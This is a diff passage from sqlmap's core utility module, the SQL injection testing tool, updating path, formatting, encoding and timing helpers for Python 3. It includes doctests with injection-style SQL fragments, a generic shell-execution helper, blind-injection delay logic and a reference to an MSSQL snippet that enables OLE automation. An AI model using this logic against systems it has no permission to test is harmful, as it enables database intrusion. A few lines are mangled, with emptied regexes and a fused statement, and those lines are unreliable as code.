integers representing characters of a given + charset type appropriate for inference techniques + + >>> getCharset(CHARSET_TYPE.BINARY) + [0, 1, 47, 48, 49] + """ + asciiTbl = [] if charsetType is None: asciiTbl.extend(xrange(0, 128)) - # 0 or 1 + # Binary elif charsetType == CHARSET_TYPE.BINARY: - asciiTbl.extend([0, 1]) + asciiTbl.extend((0, 1)) asciiTbl.extend(xrange(47, 50)) # Digits elif charsetType == CHARSET_TYPE.DIGITS: - asciiTbl.extend([0, 1]) + asciiTbl.extend(xrange(0, 10)) asciiTbl.extend(xrange(47, 58)) # Hexadecimal elif charsetType == CHARSET_TYPE.HEXADECIMAL: - asciiTbl.extend([0, 1]) + asciiTbl.extend((0, 1)) asciiTbl.extend(xrange(47, 58)) asciiTbl.extend(xrange(64, 71)) + asciiTbl.extend((87, 88)) # X asciiTbl.extend(xrange(96, 103)) + asciiTbl.extend((119, 120)) # x # Characters elif charsetType == CHARSET_TYPE.ALPHA: - asciiTbl.extend([0, 1]) + asciiTbl.extend((0, 1)) asciiTbl.extend(xrange(64, 91)) asciiTbl.extend(xrange(96, 123)) # Characters and digits elif charsetType == CHARSET_TYPE.ALPHANUM: - asciiTbl.extend([0, 1]) + asciiTbl.extend((0, 1)) asciiTbl.extend(xrange(47, 58)) asciiTbl.extend(xrange(64, 91)) asciiTbl.extend(xrange(96, 123)) return asciiTbl -def searchEnvPath(filename): - retVal = None - path = os.environ.get("PATH", "") - paths = path.split(";") if IS_WIN else path.split(":") +def directoryPath(filepath): + """ + Returns directory path for a given filepath + + >>> directoryPath('/var/log/apache.log') + '/var/log' + >>> directoryPath('/var/log') + '/var/log' + """ - for _ in paths: - _ = _.replace(";", "") - retVal = os.path.exists(os.path.normpath(os.path.join(_, filename))) + retVal = filepath - if retVal: - break + if filepath and os.path.splitext(filepath)[-1]: + retVal = ntpath.dirname(filepath) if isWindowsDriveLetterPath(filepath) else posixpath.dirname(filepath) return retVal -def urlEncodeCookieValues(cookieStr): - if cookieStr: - retVal = "" +def normalizePath(filepath): + """ + Returns normalized string representation of a given filepath - for part in cookieStr.split(';'): - index = part.find('=') + 1 - if index > 0: - name = part[:index - 1].strip() - value = urlencode(part[index:], convall=True) - retVal += "; %s=%s" % (name, value) - elif part.strip().lower() != "secure": - retVal += "%s%s" % ("%3B", urlencode(part, convall=True)) - else: - retVal += "; secure" + >>> normalizePath('//var///log/apache.log') + '/var/log/apache.log' + """ - if retVal.startswith('; '): - retVal = retVal[2:] - elif retVal.startswith('%3B'): - retVal = retVal[3:] + retVal = filepath - return retVal - else: - return None + if retVal: + retVal = retVal.strip("\r\n") + retVal = ntpath.normpath(retVal) if isWindowsDriveLetterPath(retVal) else re.sub(r"\A/{2,}", "/", posixpath.normpath(retVal)) -def directoryPath(filepath): + return retVal + +def safeFilepathEncode(filepath): """ - Returns directory path for a given filepath + Returns filepath in (ASCII) format acceptable for OS handling (e.g. reading) + + >>> 'sqlmap' in safeFilepathEncode(paths.SQLMAP_HOME_PATH) + True """ - return ntpath.dirname(filepath) if isWindowsDriveLetterPath(filepath) else posixpath.dirname(filepath) + retVal = filepath -def normalizePath(filepath): + if filepath and six.PY2 and isinstance(filepath, six.text_type): + retVal = getBytes(filepath, sys.getfilesystemencoding() or UNICODE_ENCODING) + + return retVal + + +def safeExpandUser(filepath): """ - Returns normalized string representation of a given filepath + Patch for a Python Issue18171 (http://bugs.python.org/issue18171) + + >>> os.path.basename(__file__) in safeExpandUser(__file__) + True """ - return ntpath.normpath(filepath) if isWindowsDriveLetterPath(filepath) else posixpath.normpath(filepath) + retVal = filepath + + try: + retVal = os.path.expanduser(filepath) + except UnicodeError: + _ = locale.getdefaultlocale() + encoding = _[1] if _ and len(_) > 1 else UNICODE_ENCODING + retVal = getUnicode(os.path.expanduser(filepath.encode(encoding)), encoding=encoding) + + return retVal def safeStringFormat(format_, params): """ Avoids problems with inappropriate string format strings + + >>> safeStringFormat('SELECT foo FROM %s LIMIT %d', ('bar', '1')) + 'SELECT foo FROM bar LIMIT 1' + >>> safeStringFormat("SELECT foo FROM %s WHERE name LIKE '%susan%' LIMIT %d", ('bar', '1')) + "SELECT foo FROM bar WHERE name LIKE '%susan%' LIMIT 1" """ - retVal = format_.replace("%d", "%s") + if format_.count(PAYLOAD_DELIMITER) == 2: + _ = format_.split(PAYLOAD_DELIMITER) + _[1] = re.sub(r"(\A|[^A-Za-z0-9])(%d)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>", _[1]) + retVal = PAYLOAD_DELIMITER.join(_) + else: + retVal = re.sub(r"(\A|[^A-Za-z0-9])(%d)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>", format_) - if isinstance(params, basestring): - retVal = retVal.replace("%s", params) + if isinstance(params, six.string_types): + retVal = retVal.replace("%s", params, 1) + elif not isListLike(params): + retVal = retVal.replace("%s", getUnicode(params), 1) else: - count, index = 0, 0 - while index != -1: - index = retVal.find("%s") - if index != -1: - if count < len(params): - retVal = retVal[:index] + getUnicode(params[count]) + retVal[index + 2:] + start, end = 0, len(retVal) + match = re.search(r"%s(.+)%s" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER), retVal) + if match and PAYLOAD_DELIMITER not in match.group(1): + start, end = match.start(), match.end() + if retVal.count("%s", start, end) == len(params): + for param in params: + index = retVal.find("%s", start) + if isinstance(param, six.string_types): + param = param.replace('%', PARAMETER_PERCENTAGE_MARKER) + retVal = retVal[:index] + getUnicode(param) + retVal[index + 2:] + else: + if any('%s' in _ for _ in conf.parameters.values()): + parts = format_.split(' ') + for i in xrange(len(parts)): + if PAYLOAD_DELIMITER in parts[i]: + parts[i] = parts[i].replace(PAYLOAD_DELIMITER, "") + parts[i] = "%s%s" % (parts[i], PAYLOAD_DELIMITER) + break + format_ = ' '.join(parts) + + count = 0 + while True: + match = re.search(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", retVal) + if match: + try: + retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count % len(params)], retVal, 1) + except re.error: + retVal = retVal.replace(match.group(0), match.group(0) % params[count % len(params)], 1) + count += 1 else: - raise sqlmapNoneDataException, "wrong number of parameters during string formatting" - count += 1 + break + + if count > len(params) and count % len(params): + warnMsg = "wrong number of parameters during string formatting. " + warnMsg += "Please report by e-mail content \"%r | %r | %r\" to '%s'" % (format_, params, retVal, DEV_EMAIL_ADDRESS) + raise SqlmapValueException(warnMsg) + + retVal = getText(retVal).replace(PARAMETER_PERCENTAGE_MARKER, '%') return retVal -def getFilteredPageContent(page, onlyText=True): +def getFilteredPageContent(page, onlyText=True, split=" "): """ Returns filtered page content without script, style and/or comments or all HTML tags + + >>> getFilteredPageContent(u'foobartest') == "foobar test" + True """ retVal = page # only if the page's charset has been successfully identified - if isinstance(page, unicode): - retVal = re.sub(r"(?si)||%s" % (r"|<[^>]+>|\t|\n|\r" if onlyText else ""), " ", page) - while retVal.find(" ") != -1: - retVal = retVal.replace(" ", " ") - retVal = htmlunescape(retVal) + if isinstance(page, six.text_type): + retVal = re.sub(r"(?si)||%s" % (r"|<[^>]+>|\t|\n|\r" if onlyText else ""), split, page) + retVal = re.sub(r"%s{2,}" % split, split, retVal) + retVal = htmlUnescape(retVal.strip().strip(split)) return retVal def getPageWordSet(page): """ Returns word set used in page content + + >>> sorted(getPageWordSet(u'foobartest')) == [u'foobar', u'test'] + True """ retVal = set() # only if the page's charset has been successfully identified - if isinstance(page, unicode): - _ = getFilteredPageContent(page) - retVal = set(re.findall(r"\w+", _)) + if isinstance(page, six.string_types): + retVal = set(_.group(0) for _ in re.finditer(r"\w+", getFilteredPageContent(page))) return retVal -def showStaticWords(firstPage, secondPage): +def showStaticWords(firstPage, secondPage, minLength=3): + """ + Prints words appearing in two different response pages + + >>> showStaticWords("this is a test", "this is another test") + ['this'] + """ + infoMsg = "finding static words in longest matching part of dynamic page content" logger.info(infoMsg) @@ -1392,12 +2290,11 @@ def showStaticWords(firstPage, secondPage): commonWords = None if commonWords: - commonWords = list(commonWords) - commonWords.sort(lambda a, b: cmp(a.lower(), b.lower())) + commonWords = [_ for _ in commonWords if len(_) >= minLength] + commonWords.sort(key=functools.cmp_to_key(lambda a, b: cmp(a.lower(), b.lower()))) for word in commonWords: - if len(word) > 2: - infoMsg += "'%s', " % word + infoMsg += "'%s', " % word infoMsg = infoMsg.rstrip(", ") else: @@ -1405,87 +2302,41 @@ def showStaticWords(firstPage, secondPage): logger.info(infoMsg) -def decloakToNamedTemporaryFile(filepath, name=None): - retVal = NamedTemporaryFile() - - def __del__(): - try: - if hasattr(retVal, 'old_name'): - retVal.name = retVal.old_name - retVal.close() - except OSError: - pass - - retVal.__del__ = __del__ - retVal.write(decloak(filepath)) - retVal.seek(0) - - if name: - retVal.old_name = retVal.name - retVal.name = name - - return retVal - -def decloakToMkstemp(filepath, **kwargs): - handle, name = mkstemp(**kwargs) - - _ = os.fdopen(handle) - _.close() # close low level handle (causing problems latter) - - retVal = open(name, 'w+b') - - retVal.write(decloak(filepath)) - retVal.seek(0) - - return retVal - -def isWindowsPath(filepath): - """ - Returns True if given filepath is in Windows format - """ - - return re.search("\A[\w]\:\\\\", filepath) is not None + return commonWords def isWindowsDriveLetterPath(filepath): """ Returns True if given filepath starts with a Windows drive letter + + >>> isWindowsDriveLetterPath('C:\\boot.ini') + True + >>> isWindowsDriveLetterPath('/var/log/apache.log') + False """ - return re.search("\A[\w]\:", filepath) is not None + return re.search(r"\A[\w]\:", filepath) is not None def posixToNtSlashes(filepath): """ - Replaces all occurances of Posix slashes (/) in provided - filepath with NT ones (/) + Replaces all occurrences of Posix slashes in provided + filepath with NT backslashes >>> posixToNtSlashes('C:/Windows') 'C:\\\\Windows' """ - return filepath.replace('/', '\\') + return filepath.replace('/', '\\') if filepath else filepath def ntToPosixSlashes(filepath): """ - Replaces all occurances of NT slashes (\) in provided - filepath with Posix ones (/) + Replaces all occurrences of NT backslashes in provided + filepath with Posix slashes - >>> ntToPosixSlashes('C:\\Windows') + >>> ntToPosixSlashes(r'C:\\Windows') 'C:/Windows' """ - return filepath.replace('\\', '/') - -def isBase64EncodedString(subject): - """ - Checks if the provided string is Base64 encoded - - >>> isBase64EncodedString('dGVzdA==') - True - >>> isBase64EncodedString('123456') - False - """ - - return re.match(r"\A(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?\Z", subject) is not None + return filepath.replace('\\', '/') if filepath else filepath def isHexEncodedString(subject): """ @@ -1499,9 +2350,13 @@ def isHexEncodedString(subject): return re.match(r"\A[0-9a-fA-Fx]+\Z", subject) is not None +@cachedmethod def getConsoleWidth(default=80): """ Returns console width + + >>> any((getConsoleWidth(), True)) + True """ width = None @@ -1509,11 +2364,14 @@ def getConsoleWidth(default=80): if os.getenv("COLUMNS", "").isdigit(): width = int(os.getenv("COLUMNS")) else: - output=execute('stty size', shell=True, stdout=PIPE, stderr=PIPE).stdout.read() - items = output.split() + try: + output = shellExec("stty size") + match = re.search(r"\A\d+ (\d+)", output) - if len(items) == 2 and items[1].isdigit(): - width = int(items[1]) + if match: + width = int(match.group(1)) + except (OSError, MemoryError): + pass if width is None: try: @@ -1527,36 +2385,71 @@ def getConsoleWidth(default=80): return width or default +def shellExec(cmd): + """ + Executes arbitrary shell command + + >>> shellExec('echo 1').strip() == '1' + True + """ + + retVal = "" + + try: + retVal = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).communicate()[0] or "" + except Exception as ex: + retVal = getSafeExString(ex) + finally: + retVal = getText(retVal) + + return retVal + def clearConsoleLine(forceOutput=False): """ Clears current console line """ - dataToStdout("\r%s\r" % (" " * (getConsoleWidth() - 1)), forceOutput) - setFormatterPrependFlag(False) + if IS_TTY: + dataToStdout("\r%s\r" % (" " * (getConsoleWidth() - 1)), forceOutput) + + kb.prependFlag = False def parseXmlFile(xmlFile, handler): """ Parses XML file by a given handler """ - with contextlib.closing(StringIO(readCachedFileContent(xmlFile))) as stream: - parse(stream, handler) + try: + with contextlib.closing(io.StringIO(readCachedFileContent(xmlFile))) as stream: + parse(stream, handler) + except (SAXParseException, UnicodeError) as ex: + errMsg = "something appears to be wrong with " + errMsg += "the file '%s' ('%s'). Please make " % (xmlFile, getSafeExString(ex)) + errMsg += "sure that you haven't made any changes to it" + raise SqlmapInstallationException(errMsg) -def getSPQLSnippet(dbms, name, **variables): +def getSQLSnippet(dbms, sfile, **variables): """ - Returns content of SP(Q)L snippet located inside "procs" directory + Returns content of SQL snippet located inside 'procs/' directory + + >>> 'RECONFIGURE' in getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") + True """ - filename = os.path.join(paths.SQLMAP_PROCS_PATH, DBMS_DIRECTORY_DICT[dbms], "%s.txt" % name) - checkFile(filename) - retVal = readCachedFileContent(filename) + if sfile.endswith('.sql') and os.path.exists(sfile): + filename = sfile + elif not sfile.endswith('.sql') and os.path.exists("%s.sql" % sfile): + filename = "%s.sql" % sfile + else: + filename = os.path.join(paths.SQLMAP_PROCS_PATH, DBMS_DIRECTORY_DICT[dbms], sfile if sfile.endswith('.sql') else "%s.sql" % sfile) + checkFile(filename) + retVal = readCachedFileContent(filename) retVal = re.sub(r"#.+", "", retVal) - retVal = re.sub(r"(?s);\s+", "; ", retVal).strip() + retVal = re.sub(r";\s+", "; ", retVal).strip("\r\n") - for _ in variables.keys(): - retVal = re.sub(r"%%%s%%" % _, variables[_], retVal) + for _ in variables: + retVal = re.sub(r"%%%s%%" % _, variables[_].replace('\\', r'\\'), retVal) for _ in re.findall(r"%RANDSTR\d+%", retVal, re.I): retVal = retVal.replace(_, randomStr()) @@ -1564,70 +2457,78 @@ def getSPQLSnippet(dbms, name, **variables): for _ in re.findall(r"%RANDINT\d+%", retVal, re.I): retVal = retVal.replace(_, randomInt()) - _ = re.search(r"%(\w+)%", retVal, re.I) - if _: - errMsg = "unresolved variable '%s' in SPL snippet '%s'" % (_.group(1), name) - raise sqlmapGenericException, errMsg + variables = re.findall(r"(? 1 else "", ", ".join(variables), sfile) + logger.error(errMsg) + + msg = "do you want to provide the substitution values? [y/N] " + + if readInput(msg, default='N', boolean=True): + for var in variables: + msg = "insert value for variable '%s': " % var + val = readInput(msg, default="") + retVal = retVal.replace(r"%%%s%%" % var, val) return retVal -def readCachedFileContent(filename, mode='rb'): +def readCachedFileContent(filename, mode='r'): """ Cached reading of file content (avoiding multiple same file reading) + + >>> "readCachedFileContent" in readCachedFileContent(__file__) + True """ if filename not in kb.cache.content: with kb.locks.cache: if filename not in kb.cache.content: checkFile(filename) - with codecs.open(filename, mode, UNICODE_ENCODING) as f: - kb.cache.content[filename] = f.read() + try: + with openFile(filename, mode) as f: + kb.cache.content[filename] = f.read() + except (IOError, OSError, MemoryError) as ex: + errMsg = "something went wrong while trying " + errMsg += "to read the content of file '%s' ('%s')" % (filename, getSafeExString(ex)) + raise SqlmapSystemException(errMsg) return kb.cache.content[filename] -def readXmlFile(xmlFile): - """ - Reads XML file content and returns its DOM representation +def average(values): """ + Computes the arithmetic mean of a list of numbers. - checkFile(xmlFile) - - with codecs.open(xmlFile, 'r', UNICODE_ENCODING) as f: - retVal = minidom.parse(f).documentElement + >>> "%.1f" % average([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]) + '0.9' + """ - return retVal + return (1.0 * sum(values) / len(values)) if values else None +@cachedmethod def stdev(values): """ Computes standard deviation of a list of numbers. - Reference: http://www.goldb.org/corestats.html + + # Reference: http://www.goldb.org/corestats.html + + >>> "%.3f" % stdev([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]) + '0.063' """ if not values or len(values) < 2: return None - - key = (values[0], values[-1], len(values)) - - if key in kb.cache.stdev: - retVal = kb.cache.stdev[key] else: avg = average(values) - _ = reduce(lambda x, y: x + pow((y or 0) - avg, 2), values, 0.0) - retVal = sqrt(_ / (len(values) - 1)) - kb.cache.stdev[key] = retVal - - return retVal - -def average(values): - """ - Computes the arithmetic mean of a list of numbers. - """ - - return (sum(values) / len(values)) if values else None + _ = 1.0 * sum(pow((_ or 0) - avg, 2) for _ in values) + return sqrt(_ / (len(values) - 1)) def calculateDeltaSeconds(start): """ Returns elapsed time from start till now + + >>> calculateDeltaSeconds(0) > 1151721660 + True """ return time.time() - start @@ -1635,13 +2536,16 @@ def calculateDeltaSeconds(start): def initCommonOutputs(): """ Initializes dictionary containing common output values used by "good samaritan" feature + + >>> initCommonOutputs(); "information_schema" in kb.commonOutputs["Databases"] + True """ kb.commonOutputs = {} key = None - with codecs.open(paths.COMMON_OUTPUTS, 'r', UNICODE_ENCODING) as f: - for line in f.readlines(): # xreadlines doesn't return unicode strings when codec.open() is used + with openFile(paths.COMMON_OUTPUTS, 'r') as f: + for line in f: if line.find('#') != -1: line = line[:line.find('#')] @@ -1657,42 +2561,47 @@ def initCommonOutputs(): if line not in kb.commonOutputs[key]: kb.commonOutputs[key].add(line) -def getFileItems(filename, commentPrefix='#', unicode_=True, lowercase=False, unique=False): +def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False): """ Returns newline delimited items contained inside file + + >>> "SELECT" in getFileItems(paths.SQL_KEYWORDS) + True """ retVal = list() if not unique else OrderedDict() - checkFile(filename) + if filename: + filename = filename.strip('"\'') - with codecs.open(filename, 'r', UNICODE_ENCODING) if unicode_ else open(filename, 'r') as f: - for line in (f.readlines() if unicode_ else f.xreadlines()): # xreadlines doesn't return unicode strings when codec.open() is used - if commentPrefix: - if line.find(commentPrefix) != -1: - line = line[:line.find(commentPrefix)] + checkFile(filename) - line = line.strip() + try: + with openFile(filename, 'r', errors="ignore") if unicoded else open(filename, 'r') as f: + for line in f: + if commentPrefix: + if line.find(commentPrefix) != -1: + line = line[:line.find(commentPrefix)] - if not unicode_: - try: - line = str.encode(line) - except UnicodeDecodeError: - continue + line = line.strip() - if line: - if lowercase: - line = line.lower() + if line: + if lowercase: + line = line.lower() - if unique and line in retVal: - continue + if unique and line in retVal: + continue - if unique: - retVal[line] = True - else: - retVal.append(line) + if unique: + retVal[line] = True + else: + retVal.append(line) + except (IOError, OSError, MemoryError) as ex: + errMsg = "something went wrong while trying " + errMsg += "to read the content of file '%s' ('%s')" % (filename, getSafeExString(ex)) + raise SqlmapSystemException(errMsg) - return retVal if not unique else retVal.keys() + return retVal if not unique else list(retVal.keys()) def goGoodSamaritan(prevValue, originalCharset): """ @@ -1751,7 +2660,7 @@ def goGoodSamaritan(prevValue, originalCharset): # Split the original charset into common chars (commonCharset) # and other chars (otherCharset) for ordChar in originalCharset: - if chr(ordChar) not in predictionSet: + if _unichr(ordChar) not in predictionSet: otherCharset.append(ordChar) else: commonCharset.append(ordChar) @@ -1762,10 +2671,10 @@ def goGoodSamaritan(prevValue, originalCharset): else: return None, None, None, originalCharset -def getPartRun(): +def getPartRun(alias=True): """ - Goes through call stack and finds constructs matching conf.dbmsHandler.*. - Returns it or its alias used in txt/common-outputs.txt + Goes through call stack and finds constructs matching + conf.dbmsHandler.*. Returns it or its alias used in 'txt/common-outputs.txt' """ retVal = None @@ -1794,47 +2703,19 @@ def getPartRun(): pass # Return the INI tag to consider for common outputs (e.g. 'Databases') - return commonPartsDict[retVal][1] if isinstance(commonPartsDict.get(retVal), tuple) else retVal - -def getUnicode(value, encoding=None, system=False, noneToNull=False): - """ - Return the unicode representation of the supplied value: - - >>> getUnicode(u'test') - u'test' - >>> getUnicode('test') - u'test' - >>> getUnicode(1) - u'1' - """ - - if noneToNull and value is None: - return NULL - - if isListLike(value): - value = list(getUnicode(_, encoding, system, noneToNull) for _ in value) - return value - - if not system: - if isinstance(value, unicode): - return value - elif isinstance(value, basestring): - try: - return unicode(value, encoding or kb.pageEncoding) - except: - return unicode(value, UNICODE_ENCODING, "replace") - else: - return unicode(value) # encoding ignored for non-basestring instances + if alias: + return commonPartsDict[retVal][1] if isinstance(commonPartsDict.get(retVal), tuple) else retVal else: - try: - return getUnicode(value, sys.getfilesystemencoding() or sys.stdin.encoding) - except: - return getUnicode(value, UNICODE_ENCODING) + return retVal def longestCommonPrefix(*sequences): """ Returns longest common prefix occuring in given sequences - Reference: http://boredzo.org/blog/archives/2007-01-06/longest-common-prefix-in-python-2 + + # Reference: http://boredzo.org/blog/archives/2007-01-06/longest-common-prefix-in-python-2 + + >>> longestCommonPrefix('foobar', 'fobar') + 'fo' """ if len(sequences) == 1: @@ -1855,23 +2736,56 @@ def longestCommonPrefix(*sequences): return sequences[0] def commonFinderOnly(initial, sequence): - return longestCommonPrefix(*filter(lambda x: x.startswith(initial), sequence)) + """ + Returns parts of sequence which start with the given initial string + + >>> commonFinderOnly("abcd", ["abcdefg", "foobar", "abcde"]) + 'abcde' + """ + + return longestCommonPrefix(*[_ for _ in sequence if _.startswith(initial)]) def pushValue(value): """ Push value to the stack (thread dependent) """ - getCurrentThreadData().valueStack.append(copy.deepcopy(value)) + exception = None + success = False + + for i in xrange(PUSH_VALUE_EXCEPTION_RETRY_COUNT): + try: + getCurrentThreadData().valueStack.append(copy.deepcopy(value)) + success = True + break + except Exception as ex: + exception = ex + + if not success: + getCurrentThreadData().valueStack.append(None) + + if exception: + raise exception def popValue(): """ Pop value from the stack (thread dependent) + + >>> pushValue('foobar') + >>> popValue() + 'foobar' """ - return getCurrentThreadData().valueStack.pop() + retVal = None + + try: + retVal = getCurrentThreadData().valueStack.pop() + except IndexError: + pass + + return retVal -def wasLastRequestDBMSError(): +def wasLastResponseDBMSError(): """ Returns True if the last web request resulted in a (recognized) DBMS error page """ @@ -1879,15 +2793,15 @@ def wasLastRequestDBMSError(): threadData = getCurrentThreadData() return threadData.lastErrorPage and threadData.lastErrorPage[0] == threadData.lastRequestUID -def wasLastRequestHTTPError(): +def wasLastResponseHTTPError(): """ - Returns True if the last web request resulted in an errornous HTTP code (like 500) + Returns True if the last web request resulted in an erroneous HTTP code (like 500) """ threadData = getCurrentThreadData() return threadData.lastHTTPError and threadData.lastHTTPError[0] == threadData.lastRequestUID -def wasLastRequestDelayed(): +def wasLastResponseDelayed(): """ Returns True if the last web request resulted in a time-delay """ @@ -1896,36 +2810,45 @@ def wasLastRequestDelayed(): # response times should be inside +-7*stdev([normal response times]) # Math reference: http://www.answers.com/topic/standard-deviation - deviation = stdev(kb.responseTimes) + deviation = stdev(kb.responseTimes.get(kb.responseTimeMode, [])) threadData = getCurrentThreadData() - if deviation and not conf.direct: - if len(kb.responseTimes) < MIN_TIME_RESPONSES: + if deviation and not conf.direct and not conf.disableStats: + if len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES: warnMsg = "time-based standard deviation method used on a model " warnMsg += "with less than %d response times" % MIN_TIME_RESPONSES - logger.warn(warnMsg) + logger.warning(warnMsg) - lowerStdLimit = average(kb.responseTimes) + TIME_STDEV_COEFF * deviation - retVal = (threadData.lastQueryDuration >= lowerStdLimit) + lowerStdLimit = average(kb.responseTimes[kb.responseTimeMode]) + TIME_STDEV_COEFF * deviation + retVal = (threadData.lastQueryDuration >= max(MIN_VALID_DELAYED_RESPONSE, lowerStdLimit)) - if not kb.testMode and retVal and kb.adjustTimeDelay: - adjustTimeDelay(threadData.lastQueryDuration, lowerStdLimit) + if not kb.testMode and retVal: + if kb.adjustTimeDelay is None: + msg = "do you want sqlmap to try to optimize value(s) " + msg += "for DBMS delay responses (option '--time-sec')? [Y/n] " + + kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE if not readInput(msg, default='Y', boolean=True) else ADJUST_TIME_DELAY.YES + if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: + adjustTimeDelay(threadData.lastQueryDuration, lowerStdLimit) return retVal else: - return (threadData.lastQueryDuration - conf.timeSec) >= 0 + delta = threadData.lastQueryDuration - conf.timeSec + if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): # MySQL's SLEEP(X) lasts 0.05 seconds shorter on average + delta += 0.05 + return delta >= 0 def adjustTimeDelay(lastQueryDuration, lowerStdLimit): """ Provides tip for adjusting time delay in time-based data retrieval """ - candidate = 1 + int(round((1 - (lastQueryDuration - lowerStdLimit) / lastQueryDuration) * conf.timeSec)) + candidate = (1 if not isHeavyQueryBased() else 2) + int(round(lowerStdLimit)) - if candidate: - kb.delayCandidates = [candidate] + kb.delayCandidates[:-1] + kb.delayCandidates = [candidate] + kb.delayCandidates[:-1] - if all([x == candidate for x in kb.delayCandidates]) and candidate < conf.timeSec: + if all((_ == candidate for _ in kb.delayCandidates)) and candidate < conf.timeSec: + if lastQueryDuration / (1.0 * conf.timeSec / candidate) > MIN_VALID_DELAYED_RESPONSE: # Note: to prevent problems with fast responses for heavy-queries like RANDOMBLOB conf.timeSec = candidate infoMsg = "adjusting time delay to " @@ -1943,63 +2866,179 @@ def getLastRequestHTTPError(): def extractErrorMessage(page): """ Returns reported error message from page if it founds one + + >>> getText(extractErrorMessage(u'Test\\nWarning: oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated

Only a test page

') ) + 'oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated' + >>> extractErrorMessage('Warning: This is only a dummy foobar test') is None + True """ retVal = None - if isinstance(page, basestring): + if isinstance(page, six.string_types): + if wasLastResponseDBMSError(): + page = re.sub(r"<[^>]+>", "", page) + for regex in ERROR_PARSING_REGEXES: - match = re.search(regex, page, re.DOTALL | re.IGNORECASE) + match = re.search(regex, page, re.IGNORECASE) if match: - retVal = htmlunescape(match.group("result")).replace("
", "\n").strip() - break + candidate = htmlUnescape(match.group("result")).replace("
", "\n").strip() + if candidate and (1.0 * len(re.findall(r"[^A-Za-z,. ]", candidate)) / len(candidate) > MIN_ERROR_PARSING_NON_WRITING_RATIO): + retVal = candidate + break + + if not retVal and wasLastResponseDBMSError(): + match = re.search(r"[^\n]*SQL[^\n:]*:[^\n]*", page, re.IGNORECASE) + + if match: + retVal = match.group(0) return retVal -def beep(): +def findLocalPort(ports): """ - Does an audible beep sound - Reference: http://de3.aminet.net/dev/src/clr.py.txt + Find the first opened localhost port from a given list of ports (e.g. for Tor port checks) """ - def _failsafe(): - dataToStdout('\a', True) + retVal = None - if sys.platform == 'linux2': - for dev in ('/dev/audio', '/dev/oss', '/dev/dsp', '/dev/sound'): - if os.path.exists(dev): - try: - audio = file(dev, 'wb') + for port in ports: + try: + try: + s = socket._orig_socket(socket.AF_INET, socket.SOCK_STREAM) + except AttributeError: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((LOCALHOST, port)) + retVal = port + break + except socket.error: + pass + finally: + try: + s.close() + except socket.error: + pass - for _ in xrange(250): - audio.write(chr(32) * 4) - audio.write(chr(0) * 4) + return retVal - audio.close() - return - except: - pass +def findMultipartPostBoundary(post): + """ + Finds value for a boundary parameter in given multipart POST body - try: - import curses - curses.initscr() - curses.beep() - curses.flash() - curses.endwin() - return - except: - _failsafe() + >>> findMultipartPostBoundary("-----------------------------9051914041544843365972754266\\nContent-Disposition: form-data; name=text\\n\\ndefault") + '9051914041544843365972754266' + """ - elif sys.platform == 'darwin': - try: - import Carbon.Snd - Carbon.Snd.SysBeep(1) - except: - _failsafe() + retVal = None + counts = {} - else: - _failsafe() + for match in re.finditer(r"(?m)^--(.+?)(--)?$", post or ""): + boundary = match.group(1).strip().strip('-') + counts[boundary] = counts.get(boundary, 0) + 1 + + if counts: + sorted_boundaries = sorted(counts.items(), key=lambda x: x[1], reverse=True) + retVal = sorted_boundaries[0][0] + + return retVal + +def urldecode(value, encoding=None, unsafe="%%?&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True): + """ + URL decodes given value + + >>> urldecode('AND%201%3E%282%2B3%29%23', convall=True) == 'AND 1>(2+3)#' + True + >>> urldecode('AND%201%3E%282%2B3%29%23', convall=False) == 'AND 1>(2%2B3)#' + True + >>> urldecode(b'AND%201%3E%282%2B3%29%23', convall=False) == 'AND 1>(2%2B3)#' + True + """ + + result = value + + if value: + value = getUnicode(value) + + if convall: + result = _urllib.parse.unquote_plus(value) if spaceplus else _urllib.parse.unquote(value) + else: + result = value + charset = set(string.printable) - set(unsafe) + + def _(match): + char = decodeHex(match.group(1), binary=False) + return char if char in charset else match.group(0) + + if spaceplus: + result = result.replace('+', ' ') # plus sign has a special meaning in URL encoded data (hence the usage of _urllib.parse.unquote_plus in convall case) + + result = re.sub(r"%([0-9a-fA-F]{2})", _, result or "") + + result = getUnicode(result, encoding or UNICODE_ENCODING) + + return result + +def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False): + """ + URL encodes given value + + >>> urlencode('AND 1>(2+3)#') + 'AND%201%3E%282%2B3%29%23' + >>> urlencode("AND COUNT(SELECT name FROM users WHERE name LIKE '%DBA%')>0") + 'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25DBA%25%27%29%3E0' + >>> urlencode("AND COUNT(SELECT name FROM users WHERE name LIKE '%_SYSTEM%')>0") + 'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25_SYSTEM%25%27%29%3E0' + >>> urlencode("SELECT NAME FROM TABLE WHERE VALUE LIKE '%SOME%BEGIN%'") + 'SELECT%20NAME%20FROM%20TABLE%20WHERE%20VALUE%20LIKE%20%27%25SOME%25BEGIN%25%27' + """ + + if conf.get("direct"): + return value + + count = 0 + result = None if value is None else "" + + if value: + value = re.sub(r"\b[$\w]+=", lambda match: match.group(0).replace('$', DOLLAR_MARKER), value) + + if Backend.isDbms(DBMS.MSSQL) and not kb.tamperFunctions and any(ord(_) > 255 for _ in value): + warnMsg = "if you experience problems with " + warnMsg += 